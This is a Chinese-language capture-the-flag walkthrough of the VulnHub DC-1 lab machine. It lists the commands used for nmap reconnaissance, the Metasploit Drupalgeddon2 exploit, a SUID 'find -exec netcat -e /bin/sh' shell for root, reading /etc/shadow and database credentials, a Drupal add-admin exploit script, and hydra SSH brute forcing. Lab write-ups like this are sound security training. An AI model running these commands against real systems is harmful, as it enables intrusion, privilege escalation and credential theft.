千家信息网

VulnHub测试靶场DC-1

发表于:2025-02-05 作者:千家信息网编辑
千家信息网最后更新 2025年02月05日,**IP:192.168.110.212**一.arp-scan -l查看同一区域中存活的主机.知道了ip然后我们访问主页为下图:先信息搜集使用nmap进行端口扫描发现扫描的端口如下:22(ssh)
千家信息网最后更新 2025年02月05日VulnHub测试靶场DC-1

**

IP:192.168.110.212

**

一.arp-scan -l查看同一区域中存活的主机.

知道了ip然后我们访问主页为下图:

先信息搜集使用nmap进行端口扫描发现扫描的端口如下:

22(ssh)  80(http) .   111(rpcbind)22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)| ssh-hostkey: |   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)80/tcp  open  http    Apache httpd 2.2.22 ((Debian))|_http-generator: Drupal 7 (http://drupal.org)| http-robots.txt: 36 disallowed entries (15 shown)| /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt|_http-server-header: Apache/2.2.22 (Debian)|_http-title: Welcome to Drupal Site | Drupal Site111/tcp open  rpcbind 2-4 (RPC #100000)| rpcinfo: |   program version    port/proto  service|   100000  2,3,4        111/tcp   rpcbind|   100000  2,3,4        111/udp   rpcbind|   100000  3,4          111/tcp6  rpcbind|   100000  3,4          111/udp6  rpcbind|   100024  1          35108/tcp6  status|   100024  1          37240/udp6  status|   100024  1          37414/udp   status|_  100024  1          51353/tcp   statusService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds

版本:
内容管理系统(CMS)Drupal7
Web 服务器 Apache2.2.22
编程语言 PHP5.4.45
操作系统 Debian
JavaScript 库 jQuery1.4.4

二.信息搜集完之后我是先开始从https://www.exploit-db.com/?type=webapps这个根据他的版本来进行搜索的,但是最后没有结果,最后从主页下的手 ,从主页看出他的cms是Drupal
之后在网上查的关于他的漏洞


三.直接使用msf进行查询search drupal,因为有好多,我先利用的是时间较近的
unix/webapp/drupal_drupalgeddon2模块

直接set设置ip使用run -j,之后直接拿到shell

输入python -c 'import pty;pty.spawn("/bin/sh")'

四.查看他的系统uname -a发现是linux

Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux

之后提权我是在网上找的方式
现在使用suid进行提权先find查找
find / -user root -perm -4000 -print 2>/dev/null
发现Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

五.我先自己创建了一个文本文件然后输入:find chen -exec whoami \;

find chen -exec netcat -lvp 5555 -e /bin/sh \;

六.另一边进行监听

七.提权成功 我先在etc下面的shadow里面找到的flag4:flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWC
继续查看敏感文件/var/www下面找到了1 它提示:每一个好的CMS都需要一个配置文件,你也一样。

八.所以之后我在网上查了drupal 的配置文件在哪里
/sites/default/settings.php
之后先find查询的


cat /var/www/sites/default/settings.php 在这块看到了他的用户名和密码

 'username' => 'dbuser', 'password' => 'R0ck3t',

既然知道了他的用户和密码就可以进行连接

九.使用cat 查看他的配置文件里的版本信息

cat /var/www/includes/bootstrap.inc | grep VERSION

得到VERSION', '7.24
刚开始使用searchsploit Drupal都是一些python脚本

 python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.212 -u chen -p chen

十.从刚刚使用python脚本添加的用户和密码来进行登陆

十一.因为前面已经知道他的用户名(在shadow里面找的用户名所以现在可以直接拿九头蛇爆破)

hydra -l flag4 -P pass.txt  ssh://192.168.110.212

十二.现在可知道他的 密码为orange
进行连接成功!!!!!

用户名:flag4
密码:orange

0